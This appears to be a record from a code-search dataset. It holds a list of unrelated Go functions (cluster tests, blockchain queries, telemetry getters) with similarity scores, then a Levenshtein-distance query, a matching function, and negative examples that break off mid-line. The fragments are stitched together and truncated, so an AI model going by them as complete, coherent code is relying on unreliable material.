newTestCluster(t)\n\tdefer tc.tearDown()\n\n\ttc.addSequinses(30)\n\ttc.makeVersionAvailable(v3)\n\ttc.expectProgression(down, noVersion, v3)\n\n\ttc.setup()\n\ttc.startTest()\n\ttc.assertProgression()\n}", "func (o *NiatelemetryNexusDashboardsAllOf) HasClusterName() bool {\n\tif o != nil && o.ClusterName != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "func (r *CapabilityReconciler) executeQueries(log logr.Logger, specToQueryTargetFn func() map[string]discovery.QueryTarget) []runv1alpha1.QueryResult {\n\tvar results []runv1alpha1.QueryResult\n\tqueryTargetsMap := specToQueryTargetFn()\n\tfor name, queryTarget := range queryTargetsMap {\n\t\tresult := runv1alpha1.QueryResult{Name: name}\n\t\tc := r.ClusterQueryClient.Query(queryTarget)\n\t\tfound, err := c.Execute()\n\t\tif err != nil {\n\t\t\tresult.Error = true\n\t\t\tresult.ErrorDetail = err.Error()\n\t\t}\n\t\tresult.Found = found\n\t\tif !found {\n\t\t\tif qr := c.Results().ForQuery(name); qr != nil {\n\t\t\t\tresult.NotFoundReason = qr.NotFoundReason\n\t\t\t}\n\t\t}\n\t\tresults = append(results, result)\n\t}\n\tlog.Info(\"Executed queries\", \"num\", len(queryTargetsMap))\n\treturn results\n}", "func (v Document) QueryAll(query string) []interface{} {\n\tvar results []interface{}\n\tvar err error\n\tif v.table != nil && v.table.keyToCompressed != nil {\n\t\tresults, err = msgpack.NewDecoder(bytes.NewReader(v.data)).\n\t\t\tQueryCompressed(v.table.keyToC, query)\n\t} else {\n\t\tresults, err = msgpack.NewDecoder(bytes.NewReader(v.data)).Query(query)\n\t}\n\n\tif err != nil || len(results) == 0 {\n\t\treturn nil\n\t}\n\treturn results\n}", "func vmClusterContainsVMHostAndVMDatastore(vcsaNode *nodeInfo, dcaiAgent *dcai.DcaiAgent, dcs []*datacenter.DatacenterConfig, timeStamp string, acc telegraf.Accumulator) error {\n\t// VMDatacenter\n\tfor _, datacenter := range dcs {\n\t\tdatacenterNode, err := genNode(\"VMDataCenter\", datacenter.DomainID(), datacenter.Name, \"\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\taccNeo4jMap(datacenterNode, vcsaNode, \"VmDataCenterContainsVmCluster\", timeStamp, acc)\n\n\t\t// VmDataCenter Contains VSancluster\n\t\terr = vmDataCenterContainsVSancluster(datacenterNode, datacenter, timeStamp, acc)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t// VSanCluster Contains Hosts\n\t\tfor _, vmhost := range datacenter.Hosts {\n\t\t\tvmhost := vmhost.(*esxi.EsxiHostConfig)\n\n\t\t\thost.CreateSaiHostDataPoint(acc, vmhost.DomainID(), vmhost.Hostname(), vmhost.HWID(), dcaiAgent.GetSaiClusterDomainId(), vmhost.OSType, vmhost.OSName, vmhost.OSVersion, vmhost.IPv4s(), vmhost.IPv6s())\n\t\t\tsaicluster.CreateSaiClusterDataPoint(acc, dcaiAgent.GetSaiClusterDomainId(), dcaiAgent.GetSaiClusterName())\n\t\t\tevent.SendMetricsMonitoring(acc, vmhost, dcaiAgent.GetSaiClusterDomainId(), fmt.Sprintf(\"1 point(s) of vmhost %s was written to DB\", vmhost.Name), dcaitype.EventTitleHostDataSent, dcaitype.LogLevelInfo)\n\n\t\t\tvmhostNode, err := genNode(\"VMHost\", vmhost.DomainID(), vmhost.Name, \"\")\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\taccNeo4jMap(vmhostNode, vcsaNode, \"VmClusterContainsVmHost\", timeStamp, acc)\n\n\t\t\t// VmHostContains ;\n\t\t\terr = vmHostContainsVMDisk(vcsaNode, vmhostNode, vmhost, timeStamp, acc)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\terr = vmHostContainsVMDatastore(vcsaNode, vmhostNode, vmhost, timeStamp, acc)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\terr = vmHostHasVMDiskGroup(vcsaNode, vmhostNode, vmhost, timeStamp, acc)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\terr = vmHostHostsVMVirtualMachine(vcsaNode, vmhostNode, vmhost, timeStamp, acc)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func (w *worker) identifyAllNodes(ctx context.Context) ([]resources.Host, fail.Error) {\n\tif w.cluster == nil {\n\t\treturn []resources.Host{}, nil\n\t}\n\n\tif w.allNodes == nil {\n\t\tvar allHosts []resources.Host\n\t\tlist, xerr := w.cluster.UnsafeListNodeIDs(ctx)\n\t\txerr = debug.InjectPlannedFail(xerr)\n\t\tif xerr != nil {\n\t\t\treturn nil, xerr\n\t\t}\n\t\tfor _, i := range list {\n\t\t\thostInstance, xerr := LoadHost(w.cluster.GetService(), i)\n\t\t\txerr = debug.InjectPlannedFail(xerr)\n\t\t\tif xerr != nil {\n\t\t\t\treturn nil, xerr\n\t\t\t}\n\n\t\t\tallHosts = append(allHosts, hostInstance)\n\t\t}\n\t\tw.allNodes = allHosts\n\t}\n\treturn w.allNodes, nil\n}", "func (mr *MockDatabaseMockRecorder) GetAllClients() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"GetAllClients\", reflect.TypeOf((*MockDatabase)(nil).GetAllClients))\n}", "func TestSyncClusterComplex(t *testing.T) {\n\tcontroller, clusterStore, machineSetStore, _, clusterOperatorClient := newTestClusterController()\n\n\tcluster := newClusterWithSizes(1,\n\t\tclusteroperator.ClusterMachineSet{\n\t\t\tMachineSetConfig: clusteroperator.MachineSetConfig{\n\t\t\t\tSize: 1,\n\t\t\t\tNodeType: clusteroperator.NodeTypeCompute,\n\t\t\t},\n\t\t\tName: \"realized and un-mutated\",\n\t\t},\n\t\tclusteroperator.ClusterMachineSet{\n\t\t\tMachineSetConfig: clusteroperator.MachineSetConfig{\n\t\t\t\tSize: 1,\n\t\t\t\tNodeType: clusteroperator.NodeTypeCompute,\n\t\t\t},\n\t\t\tName: \"realized but mutated\",\n\t\t},\n\t\tclusteroperator.ClusterMachineSet{\n\t\t\tMachineSetConfig: clusteroperator.MachineSetConfig{\n\t\t\t\tSize: 1,\n\t\t\t\tNodeType: clusteroperator.NodeTypeCompute,\n\t\t\t},\n\t\t\tName: \"unrealized\",\n\t\t},\n\t)\n\tclusterStore.Add(cluster)\n\n\tnewMachineSetsWithSizes(machineSetStore, cluster, 2,\n\t\tclusteroperator.ClusterMachineSet{\n\t\t\tMachineSetConfig: clusteroperator.MachineSetConfig{\n\t\t\t\tSize: 1,\n\t\t\t\tNodeType: clusteroperator.NodeTypeCompute,\n\t\t\t},\n\t\t\tName: \"realized and un-mutated\",\n\t\t},\n\t\tclusteroperator.ClusterMachineSet{\n\t\t\tMachineSetConfig: clusteroperator.MachineSetConfig{\n\t\t\t\tSize: 2,\n\t\t\t\tNodeType: clusteroperator.NodeTypeCompute,\n\t\t\t},\n\t\t\tName: \"realized but mutated\",\n\t\t},\n\t\tclusteroperator.ClusterMachineSet{\n\t\t\tMachineSetConfig: clusteroperator.MachineSetConfig{\n\t\t\t\tSize: 1,\n\t\t\t\tNodeType: clusteroperator.NodeTypeCompute,\n\t\t\t},\n\t\t\tName: \"removed from cluster\",\n\t\t},\n\t)\n\n\tcontroller.syncCluster(getKey(cluster, t))\n\n\tvalidateClientActions(t, \"TestSyncClusterComplex\", clusterOperatorClient,\n\t\tnewExpectedMachineSetDeleteAction(cluster, \"master\"),\n\t\tnewExpectedMachineSetCreateAction(cluster, \"master\"),\n\t\tnewExpectedMachineSetDeleteAction(cluster, \"realized but mutated\"),\n\t\tnewExpectedMachineSetCreateAction(cluster, \"realized but mutated\"),\n\t\tnewExpectedMachineSetCreateAction(cluster, \"unrealized\"),\n\t\tnewExpectedMachineSetDeleteAction(cluster, \"removed from cluster\"),\n\t\texpectedClusterStatusUpdateAction{machineSets: 3}, // status only counts the 2 realized compute nodes + 1 master\n\t)\n\n\tvalidateControllerExpectations(t, \"TestSyncClusterComplex\", controller, cluster, 3, 3)\n}", "func (ck *Clerk) Query(num int) Config {\n\targs := &QueryArgs{}\n\t// Your code here.\n\targs.Num = num\n\targs.ClientId = ck.clientId\n\targs.SeqId = atomic.AddInt64(&ck.seqId, 1)\n\n\t//DPrintf(\"Client[%d] start Query(num), num = %v\", ck.clientId, num)\n\tfor {\n\t\t// try each known server.\n\t\tfor _, srv := range ck.servers {\n\t\t\tvar reply QueryReply\n\t\t\tok := srv.Call(\"ShardMaster.Query\", args, &reply)\n\t\t\tif ok && reply.WrongLeader == false {\n\t\t\t\t//DPrintf(\"Client[%d] finish Query(%v) = %v\", ck.clientId, num, reply.Config)\n\t\t\t\treturn reply.Config\n\t\t\t}\n\t\t}\n\t\t\n\t\ttime.Sleep(100 * time.Millisecond)\n\t}\n}", "func TestQueryLedgers(t *testing.T) {\n\tt.Parallel()\n\t_, err := k.QueryLedgers(context.Background(), \"LVTSFS-NHZVM-EXNZ5M\")\n\tif err == nil {\n\t\tt.Error(\"QueryLedgers() Expected error\")\n\t}\n}", "func (h *RpcHandler) QueryNodes(pageInfo *core.PageInfo, reply *packet.RpcReply) error {\n\tlogTitle := \"RpcServer.QueryNodes \"\n\tif !h.getNode().IsLeader() {\n\t\tlogger.Rpc().Warn(logTitle + \"can not query nodes from not leader node\")\n\t\t*reply = packet.FailedReply(-1001, \"can not query nodes from not leader node\")\n\t\treturn nil\n\t}\n\n\tlogger.Rpc().DebugS(logTitle + \"success\")\n\t*reply = packet.SuccessRpcReply(h.getNode().Cluster.Nodes)\n\treturn nil\n}", "func (q nodeQuery) All(ctx context.Context, exec boil.ContextExecutor) (NodeSlice, error) {\n\tvar o []*Node\n\n\terr := q.Bind(ctx, exec, &o)\n\tif err != nil {\n\t\treturn nil, errors.Wrap(err, \"models: failed to assign all query results to Node slice\")\n\t}\n\n\treturn o, nil\n}", "func ShouldGetClusterSizeMetric(t *testing.T, pod corev1.Pod) {\n\tg := NewGomegaWithT(t)\n\n\tmetrics := PrometheusVector{}\n\terr := PrometheusQuery(pod, \"vendor:coherence_cluster_size\", &metrics)\n\tg.Expect(err).NotTo(HaveOccurred())\n}", "func TestBasicFunctionality(t *testing.T) {\n\tconfig := DefaultConfig()\n\twaitTime := 500 * time.Millisecond\n\tnodes, err := CreateLocalCluster(config)\n\tif err != nil {\n\t\tt.Errorf(\"Error creating nodes: %v\", err)\n\t\treturn\n\t}\n\ttimeDelay := randomTimeout(time.Millisecond * 500)\n\t<-timeDelay\n\tleaderFound := false\n\t//ensure only 1 leader in cluster with log entry 0 inserted\n\tfor !leaderFound {\n\t\tfor _, node := range nodes {\n\t\t\tif node.State == LEADER_STATE {\n\t\t\t\tif leaderFound {\n\t\t\t\t\tt.Errorf(\"Multiple leaders found\")\n\t\t\t\t\treturn\n\t\t\t\t} else {\n\t\t\t\t\tleaderFound = true\n\t\t\t\t}\n\t\t\t}\n\t\t\tentry := node.getLogEntry(0)\n\t\t\tif entry == nil || entry.Type != CommandType_INIT {\n\t\t\t\tt.Errorf(\"Bad first entry\")\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\ttimeDelay = randomTimeout(time.Millisecond * 150)\n\t<-timeDelay\n\tclient, err := Connect(nodes[0].GetRemoteSelf().Addr)\n\tif err != nil {\n\t\tt.Errorf(\"Client failed to connect\")\n\t\treturn\n\t}\n\ttimeDelay = randomTimeout(time.Millisecond * 200)\n\t<-timeDelay\n\tfor _, node := range nodes {\n\t\tentry := node.getLogEntry(1)\n\t\tif entry == nil || entry.Type != CommandType_CLIENT_REGISTRATION {\n\t\t\tt.Errorf(\"Client Still Not Registered\")\n\t\t\treturn\n\t\t}\n\t}\n\terr = client.SendRequest(hashmachine.HASH_CHAIN_INIT, []byte(strconv.Itoa(123)))\n\tif err != nil {\n\t\tt.Errorf(\"Client request failed\")\n\t}\n\ttimeDelay = randomTimeout(time.Millisecond * 2000)\n\t<-timeDelay\n\tfor _, node := range nodes {\n\t\tentry := node.getLogEntry(2)\n\t\tif entry == nil || entry.Type != CommandType_STATE_MACHINE_COMMAND {\n\t\t\tt.Errorf(\"Hash Init Command Failed\")\n\t\t\treturn\n\t\t}\n\t}\n\taddRequests := 10\n\tfor i := 0; i < addRequests; i++ {\n\t\terr = client.SendRequest(hashmachine.HASH_CHAIN_ADD, []byte(strconv.Itoa(i)))\n\t\t//wait briefly after requests\n\t\ttimeDelay = randomTimeout(time.Millisecond * 1000)\n\t\t<-timeDelay\n\t\tif err != nil {\n\t\t\tt.Errorf(\"Hash Add Command Failed %v\", err)\n\t\t\treturn\n\t\t\t//i = int(math.Max(float64(0), float64(i-1)))\n\t\t}\n\t}\n\ttimeDelay = randomTimeout(time.Millisecond * 5000)\n\t<-timeDelay\n\tfor _, node := range nodes {\n\t\tfor i := 3; i < 3+addRequests; i++ {\n\t\t\tentry := node.getLogEntry(uint64(i))\n\t\t\tif entry == nil || entry.Type != CommandType_STATE_MACHINE_COMMAND {\n\t\t\t\tt.Errorf(\"Hash Add Command Failed\")\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\tfor _, node := range nodes {\n\t\tnode.IsShutdown = true\n\t\ttimeDelay = randomTimeout(5 * waitTime)\n\t\t<-timeDelay\n\t}\n\tseq1 <- true\n}", "func (o *VirtualizationBaseHostPciDeviceAllOf) GetCluster() VirtualizationBaseClusterRelationship {\n\tif o == nil || o.Cluster == nil {\n\t\tvar ret VirtualizationBaseClusterRelationship\n\t\treturn ret\n\t}\n\treturn *o.Cluster\n}", "func TestCluster_EmptyNode(t *testing.T) {\n\tm0 := test.RunCommand(t)\n\tdefer m0.Close()\n\n\tstate0, err := m0.API.State()\n\tif err != nil || state0 != disco.ClusterStateNormal {\n\t\tt.Fatalf(\"unexpected cluster state: %s, error: %v\", state0, err)\n\t}\n}", "func Test_Cluster_Cyclic_Dependencies(t *testing.T) {\n\ttotal := 5\n\tvar server [5]cluster.Server\n\tfor i := 0; i < total; i++ {\n\t\tserver[i] = cluster.New(i+1, \"../config.json\")\n\t}\n\n\t// Random messages\n\tmessage := \"hello\"\n\n\tcount := make([]int, 5)\n\tfor i := 0; i< total; i++ {\n\t\tcount[i] = 0\n\t}\n\n\twg := new(sync.WaitGroup)\n\tfor i := 0; i< total; i++ {\n\t\twg.Add(1)\n\t\tgo checkInput(server[i], &count[i], wg)\n\t}\n\t\n\titerations := 1000\n\tfor j := 0; j < iterations; j++ {\n\t\tfor k :=0; k < total; k++ {\n\t\t\tserver[k].Outbox() <- &cluster.Envelope{SendTo: (k+1)%total + 1, SendBy: k+1, Msg: message}\n\t\t}\n\t}\n\n\tfor i := 0; i< total; i++ {\n\t\tclose(server[i].Outbox())\n\t}\n\twg.Wait()\n\n\tfor i := 0; i< total; i++ {\n\t\tif count[i] != iterations {\n\t\t\tpanic (\"All messages not recieved..\")\n\t\t}\n\t}\n\n\tt.Log(\"Cyclic message test passed.\")\n}", "func TestFindEdgeCluster(t *testing.T) {\n\n\tnsxClient, teardown := setupTest()\n\tdefer teardown()\n\n\ttype args struct {\n\t\tnsxClient *nsxt.APIClient\n\t\tcallback nsxtapi.EdgeSearchHandler\n\t\tsearchVal string\n\t}\n\ttests := []struct {\n\t\tname string\n\t\targs args\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\t\"should return not found\",\n\t\t\targs{\n\t\t\t\t&nsxClient,\n\t\t\t\tnsxtapi.EdgeClusterCallback[\"name\"],\n\t\t\t\t\"\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"test search by cluster name\",\n\t\t\targs{\n\t\t\t\t&nsxClient,\n\t\t\t\tnsxtapi.EdgeClusterCallback[\"name\"],\n\t\t\t\t\"edge-cluster\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"test search by cluster uuid\",\n\t\t\targs{\n\t\t\t\t&nsxClient,\n\t\t\t\tnsxtapi.EdgeClusterCallback[\"uuid\"],\n\t\t\t\t\"133fe9a7-2e87-409a-b1b3-406ab5833986\",\n\t\t\t},\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"test search by cluster uuid not found\",\n\t\t\targs{\n\t\t\t\t&nsxClient,\n\t\t\t\tnsxtapi.EdgeClusterCallback[\"uuid\"],\n\t\t\t\t\"133fe9a7\",\n\t\t\t},\n\t\t\ttrue,\n\t\t},\n\t}\n\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot, err := nsxtapi.FindEdgeCluster(tt.args.nsxClient, tt.args.callback, tt.args.searchVal)\n\t\t\tif (err != nil) != tt.wantErr {\n\t\t\t\tt.Errorf(\"FindEdgeCluster() error = %v, wantErr %v\", err, tt.wantErr)\n\t\t\t\treturn\n\t\t\t}\n\t\t\tfor _, v := range got {\n\t\t\t\tif err == nil {\n\t\t\t\t\tt.Log(\"found router id \", v.Id, \" name\", v.DisplayName)\n\t\t\t\t}\n\t\t\t}\n\t\t})\n\t}\n}", "func testNomadCluster(t *testing.T, nodeIpAddress string) {\n\tmaxRetries := 90\n\tsleepBetweenRetries := 10 * time.Second\n\n\tresponse := retry.DoWithRetry(t, \"Check Nomad cluster has expected number of servers and clients\", maxRetries, sleepBetweenRetries, func() (string, error) {\n\t\tclients, err := callNomadApi(t, nodeIpAddress, \"v1/nodes\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tif len(clients) != DEFAULT_NUM_CLIENTS {\n\t\t\treturn \"\", fmt.Errorf(\"Expected the cluster to have %d clients, but found %d\", DEFAULT_NUM_CLIENTS, len(clients))\n\t\t}\n\n\t\tservers, err := callNomadApi(t, nodeIpAddress, \"v1/status/peers\")\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\n\t\tif len(servers) != DEFAULT_NUM_SERVERS {\n\t\t\treturn \"\", fmt.Errorf(\"Expected the cluster to have %d servers, but found %d\", DEFAULT_NUM_SERVERS, len(servers))\n\t\t}\n\n\t\treturn fmt.Sprintf(\"Got back expected number of clients (%d) and servers (%d)\", len(clients), len(servers)), nil\n\t})\n\n\tlogger.Logf(t, \"Nomad cluster is properly deployed: %s\", response)\n}", "func compareClusters(got, want *types.Cluster) bool {\n\tresult := false\n\tif reflect.DeepEqual(got.Status, want.Status) {\n\t\tresult = true\n\t}\n\n\treturn result\n}", "func (asc *AsenaSmartContract) QueryAllCars(ctx contractapi.TransactionContextInterface, args []string) error {\n\n\treturn nil\n}", "func (s *SmartContract) QueryAllOis(ctx contractapi.TransactionContextInterface) ([]QueryResult, error) {\n\tstartKey := \"\"\n\tendKey := \"\"\n\n\tresultsIterator, err := ctx.GetStub().GetStateByRange(startKey, endKey)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resultsIterator.Close()\n\n\tresults := []QueryResult{}\n\n\tfor resultsIterator.HasNext() {\n\t\tqueryResponse, err := resultsIterator.Next()\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\toi := new(Oi)\n\t\t_ = json.Unmarshal(queryResponse.Value, oi)\n\n\t\tqueryResult := QueryResult{Key: queryResponse.Key, Record: oi}\n\t\tresults = append(results, queryResult)\n\t}\n\n\treturn results, nil\n}", "func GetAllContainersNotInCluster(dbConn *sql.DB) ([]Container, error) {\n\tvar rows *sql.Rows\n\tvar err error\n\tqueryStr := fmt.Sprintf(\"select c.id, c.name, c.clusterid, c.serverid, c.role, c.image, to_char(c.createdt, 'MM-DD-YYYY HH24:MI:SS'), p.id, p.name, s.name, l.name from project p, server s , container c left join cluster l on c.clusterid = l.id where c.role != 'standalone' and c.clusterid = -1 and c.projectid = p.id and c.serverid = s.id order by c.name\")\n\tlogit.Info.Println(\"admindb:GetAllContainersNotInCluster:\" + queryStr)\n\trows, err = dbConn.Query(queryStr)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer rows.Close()\n\tcontainers := make([]Container, 0)\n\tfor rows.Next() {\n\t\tcontainer := Container{}\n\t\tif err = rows.Scan(&container.ID, &container.Name, &container.ClusterID, &container.ServerID, &container.Role, &container.Image, &container.CreateDate, &container.ProjectID, &container.ProjectName, &container.ServerName, &container.ClusterName); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcontainer.ClusterName = container.ClusterID\n\t\tcontainers = append(containers, container)\n\t}\n\tif err = rows.Err(); err != nil {\n\t\treturn nil, err\n\t}\n\treturn containers, nil\n}", "func (s *SmartContract) QueryAllContracts(ctx contractapi.TransactionContextInterface) ([]QueryResult, error) {\n\tstartKey := \"\"\n\tendKey := \"\"\n\n\tresultsIterator, err := ctx.GetStub().GetStateByRange(startKey, endKey)\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resultsIterator.Close()\n\n\tresults := []QueryResult{}\n\n\tfor resultsIterator.HasNext() {\n\t\tqueryResponse, err := resultsIterator.Next()\n\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tdid := new(Contract)\n\t\t_ = json.Unmarshal(queryResponse.Value, did)\n\n\t\tqueryResult := QueryResult{Key: queryResponse.Key, Record: did}\n\t\tresults = append(results, queryResult)\n\t}\n\n\treturn results, nil\n}" ]
[ "0.7326355", "0.64592797", "0.6008464", "0.594489", "0.5896946", "0.58291185", "0.5770374", "0.57313055", "0.5725184", "0.56541747", "0.5619876", "0.56011677", "0.56007314", "0.55897534", "0.55832446", "0.5580661", "0.5566478", "0.55230534", "0.5513669", "0.55112255", "0.5506018", "0.5502482", "0.5432285", "0.5418673", "0.5413701", "0.54097825", "0.5391027", "0.5380218", "0.53749406", "0.5362277", "0.5360034", "0.5327191", "0.53179497", "0.53162736", "0.5315293", "0.5309897", "0.5307884", "0.5286275", "0.5285629", "0.5279991", "0.527642", "0.5262324", "0.5246696", "0.52396595", "0.5238492", "0.5237264", "0.52285147", "0.5227432", "0.5215897", "0.52102757", "0.52058053", "0.5195684", "0.5180473", "0.5177011", "0.5164348", "0.5155979", "0.5151732", "0.51514053", "0.51377434", "0.51284003", "0.5127363", "0.51237744", "0.5120322", "0.5106937", "0.5105432", "0.50844496", "0.50799453", "0.5067605", "0.5060122", "0.50556827", "0.50444573", "0.5044249", "0.5042167", "0.5040772", "0.50322855", "0.5031257", "0.50306016", "0.5021934", "0.50190103", "0.5012314", "0.5005994", "0.49999502", "0.4994321", "0.4989907", "0.4985265", "0.4984814", "0.49847567", "0.4979227", "0.49770555", "0.49738687", "0.4970149", "0.49628046", "0.49517444", "0.49435905", "0.4942759", "0.4941141", "0.49405152", "0.49391863", "0.49372458", "0.49342555" ]
0.76365143
0
LevenshteinDistance will calculateyou guessed itthe Levenshtein Distance between two strings. It's copied nearly verbatim from this link:
func LevenshteinDistance(first, second string) int { s1len := len(first) s2len := len(second) column := make([]int, len(first)+1) for y := 1; y <= s1len; y++ { column[y] = y } for x := 1; x <= s2len; x++ { column[0] = x lastkey := x - 1 for y := 1; y <= s1len; y++ { oldkey := column[y] var incr int if first[y-1] != second[x-1] { incr = 1 } column[y] = minimum(column[y]+1, column[y-1]+1, lastkey+incr) lastkey = oldkey } } return column[s1len] }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func TestLevenshteinDistance(t *testing.T) {\n\tassert.Equal(t, 0, LevenshteinDistance(\"\", \"\"))\n\tassert.Equal(t, 0, LevenshteinDistance(\"🍺\", \"🍺\"))\n\tassert.Equal(t, 1, LevenshteinDistance(\"beer\", \"bear\"))\n\tassert.Equal(t, 1, LevenshteinDistance(\"beer\", \"bee\"))\n\tassert.Equal(t, 1, LevenshteinDistance(\"beer\", \"beer🍺\"))\n\tassert.Equal(t, 3, LevenshteinDistance(\"beer\", \"water\"))\n\tassert.Equal(t, 5, LevenshteinDistance(\"java\", \"golang\"))\n}", "func LevenshteinDistance(s1, s2 string) int {\r\n\t//length of the string s1, s2\r\n\ts1Len, s2Len := utf8.RuneCountInString(s1), utf8.RuneCountInString(s2)\r\n\r\n\t//if the two strings equals\r\n\tif s1 == s2 {\r\n\t\treturn 0\r\n\t}\r\n\t//if a string is length 0\r\n\tif s1Len == 0 {\r\n\t\treturn s2Len\r\n\t}\r\n\tif s2Len == 0 {\r\n\t\treturn s1Len\r\n\t}\r\n\r\n\tv0 := make([]int, s2Len+1)\r\n\tv1 := make([]int, s2Len+1)\r\n\r\n\tfor i := 0; i < len(v0); i++ {\r\n\t\tv0[i] = i\r\n\t}\r\n\r\n\tfor i := 0; i < s1Len; i++ {\r\n\r\n\t\tv1[0] = i + 1\r\n\r\n\t\tfor j := 0; j < s2Len; j++ {\r\n\t\t\tcost := 1\r\n\t\t\tif s1[i] == s2[j] {\r\n\t\t\t\tcost = 0\r\n\t\t\t}\r\n\t\t\tv1[j+1] = minimum(v1[j]+1, v0[j+1]+1, v0[j]+cost)\r\n\t\t}\r\n\r\n\t\tfor j := 0; j < len(v0); j++ {\r\n\t\t\tv0[j] = v1[j]\r\n\t\t}\r\n\r\n\t}\r\n\treturn v1[s2Len]\r\n}", "func LevenshteinDistance(str1, str2 string) int {\n\t// Convert string parameters to rune arrays to be compatible with non-ASCII\n\truneStr1 := []rune(str1)\n\truneStr2 := []rune(str2)\n\n\t// Get and store length of these strings\n\truneStr1len := len(runeStr1)\n\truneStr2len := len(runeStr2)\n\tif runeStr1len == 0 {\n\t\treturn runeStr2len\n\t} else if runeStr2len == 0 {\n\t\treturn runeStr1len\n\t} else if utils.Equal(runeStr1, runeStr2) {\n\t\treturn 0\n\t}\n\n\tcolumn := make([]int, runeStr1len+1)\n\n\tfor y := 1; y <= runeStr1len; y++ {\n\t\tcolumn[y] = y\n\t}\n\tfor x := 1; x <= runeStr2len; x++ {\n\t\tcolumn[0] = x\n\t\tlastkey := x - 1\n\t\tfor y := 1; y <= runeStr1len; y++ {\n\t\t\toldkey := column[y]\n\t\t\tvar i int\n\t\t\tif runeStr1[y-1] != runeStr2[x-1] {\n\t\t\t\ti = 1\n\t\t\t}\n\t\t\tcolumn[y] = utils.Min(\n\t\t\t\tutils.Min(column[y]+1, // insert\n\t\t\t\t\tcolumn[y-1]+1), // delete\n\t\t\t\tlastkey+i) // substitution\n\t\t\tlastkey = oldkey\n\t\t}\n\t}\n\n\treturn column[runeStr1len]\n}", "func Levenshtein(target, input string) int { // nolint: funlen\n\t// Example\n\t// ref: https://www.datacamp.com/community/tutorials/fuzzy-string-python\n\t// ref optimized version in go: https://github.com/sajari/fuzzy/blob/master/fuzzy.go#L236\n\tlenTarget := len(target)\n\tlenInput := len(input)\n\tnumCols := lenTarget + 1\n\n\tdistance := make([]int, (lenTarget+1)*(lenInput+1))\n\n\t// log.Println(target, input)\n\n\tfor row := 0; row <= lenInput; row++ {\n\t\tfor col := 0; col <= lenTarget; col++ {\n\t\t\tif row == 0 {\n\t\t\t\tdistance[row*numCols+col] = col\n\t\t\t}\n\n\t\t\tif col == 0 {\n\t\t\t\tdistance[row*numCols+col] = row\n\t\t\t}\n\n\t\t\tif row > 0 && col > 0 {\n\t\t\t\tcost := 0\n\n\t\t\t\tif target[col-1] != input[row-1] {\n\t\t\t\t\tcost++\n\t\t\t\t}\n\n\t\t\t\t// Costs\n\t\t\t\t// - x is the current posizion\n\t\t\t\t//\n\t\t\t\t// +-------------------+----------------+\n\t\t\t\t// | substitution cost | insetion cost |\n\t\t\t\t// +-------------------+----------------+\n\t\t\t\t// | delete cost | x |\n\t\t\t\t// +-------------------+----------------+\n\t\t\t\tdelCost := distance[(row-1)*numCols+col] + 1 // Cost of deletions\n\t\t\t\tinsCost := distance[row*numCols+(col-1)] + 1 // Cost of insertions\n\t\t\t\tsubCost := distance[(row-1)*numCols+(col-1)] + cost // Cost of substitutions\n\n\t\t\t\tmin := delCost\n\n\t\t\t\tif insCost < min {\n\t\t\t\t\tmin = insCost\n\t\t\t\t}\n\n\t\t\t\tif subCost < min {\n\t\t\t\t\tmin = subCost\n\t\t\t\t}\n\n\t\t\t\tdistance[row*numCols+col] = min\n\t\t\t}\n\t\t}\n\t}\n\n\t// log.Printf(\"%+v\", distance)\n\n\t// for row := 0; row <= lenInput; row++ {\n\t// \tfor col := 0; col <= lenTarget; col++ {\n\t// \t\tfmt.Printf(\"%d \", distance[row*numCols+col])\n\t// \t}\n\t// \tfmt.Println()\n\t// }\n\n\treturn distance[len(distance)-1]\n}", "func OSADamerauLevenshteinDistance(str1, str2 string) int {\n\t// Convert string parameters to rune arrays to be compatible with non-ASCII\n\truneStr1 := []rune(str1)\n\truneStr2 := []rune(str2)\n\n\t// Get and store length of these strings\n\truneStr1len := len(runeStr1)\n\truneStr2len := len(runeStr2)\n\tif runeStr1len == 0 {\n\t\treturn runeStr2len\n\t} else if runeStr2len == 0 {\n\t\treturn runeStr1len\n\t} else if utils.Equal(runeStr1, runeStr2) {\n\t\treturn 0\n\t} else if runeStr1len < runeStr2len {\n\t\treturn OSADamerauLevenshteinDistance(str2, str1)\n\t}\n\n\t// 2D Array\n\trow := utils.Min(runeStr1len+1, 3)\n\tmatrix := make([][]int, row)\n\tfor i := 0; i < row; i++ {\n\t\tmatrix[i] = make([]int, runeStr2len+1)\n\t\tmatrix[i][0] = i\n\t}\n\n\tfor j := 0; j <= runeStr2len; j++ {\n\t\tmatrix[0][j] = j\n\t}\n\n\tvar count int\n\tfor i := 1; i <= runeStr1len; i++ {\n\t\tmatrix[i%3][0] = i\n\t\tfor j := 1; j <= runeStr2len; j++ {\n\t\t\tif runeStr1[i-1] == runeStr2[j-1] {\n\t\t\t\tcount = 